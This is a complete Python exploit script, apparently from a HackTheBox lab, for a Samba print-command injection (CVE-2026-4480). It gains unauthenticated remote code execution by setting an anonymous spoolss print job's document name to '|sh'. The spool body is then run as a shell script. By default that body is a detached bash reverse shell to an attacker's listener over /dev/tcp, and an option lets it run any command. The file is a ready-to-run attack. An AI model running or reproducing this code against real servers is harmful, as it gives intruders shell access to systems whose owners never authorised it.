#!/usr/bin/env python3 """ CVE-2026-4480 - Samba print-command (%J) injection -> unauthenticated RCE. Made by TheCyberGeek @ HackTheBox """ import argparse import sys try: from samba.dcerpc import spoolss from samba.param import LoadParm from samba.credentials import Credentials except ImportError: sys.exit("[-] Samba Python bindings missing. Install with: sudo apt install python3-samba") PRINTER_ACCESS_USE = 0x00000008 def reverse_shell(lhost, lport): # Must be non-empty (Samba skips the print command for a 0-byte spool file) and # must detach (the command runs synchronously inside EndDocPrinter; a foreground # shell would block smbd and hang/timeout the RPC). return ("setsid bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' >/dev/null 2>&1 &\n" % (lhost, lport)).encode() def exploit(rhost, printer, body): lp = LoadParm() lp.load_default() creds = Credentials() creds.guess(lp) creds.set_anonymous() # the guest printer share needs no creds binding = r"ncacn_np:%s[\pipe\spoolss]" % rhost iface = spoolss.spoolss(binding, lp, creds) handle = iface.OpenPrinter("\\\\%s\\%s" % (rhost, printer), "", spoolss.DevmodeContainer(), PRINTER_ACCESS_USE) info = spoolss.DocumentInfo1() info.document_name = "|sh" # this is what lands in %J info.output_file = None info.datatype = "RAW" ctr = spoolss.DocumentInfoCtr() ctr.level = 1 ctr.info = info iface.StartDocPrinter(handle, ctr) iface.StartPagePrinter(handle) iface.WritePrinter(handle, body, len(body)) # this is %s (the spool body, run as a script) iface.EndPagePrinter(handle) iface.EndDocPrinter(handle) # triggers the print command server-side iface.ClosePrinter(handle) def main(): p = argparse.ArgumentParser( description="CVE-2026-4480 Samba print %J injection -> reverse shell") p.add_argument("rhost", help="target Samba host/IP") p.add_argument("lhost", help="your listener IP (e.g. tun0)") p.add_argument("lport", type=int, help="your listener port") p.add_argument("-P", "--printer", default="HP-Reception", help="guest printer share name (default: HP-Reception)") p.add_argument("-c", "--cmd", help="run this shell command instead of a reverse shell (LHOST/LPORT ignored)") args = p.parse_args() if args.cmd: body = (args.cmd.rstrip("\n") + "\n").encode() else: body = reverse_shell(args.lhost, args.lport) print("[*] target : %s (\\\\%s\\%s)" % (args.rhost, args.rhost, args.printer)) if not args.cmd: print("[*] callback : %s:%d (start a listener first: nc -lvnp %d)" % (args.lhost, args.lport, args.lport)) try: exploit(args.rhost, args.printer, body) except Exception as e: sys.exit("[-] exploit failed: %s" % e) print("[+] print job submitted -- check your listener / out-of-band channel") if __name__ == "__main__": main()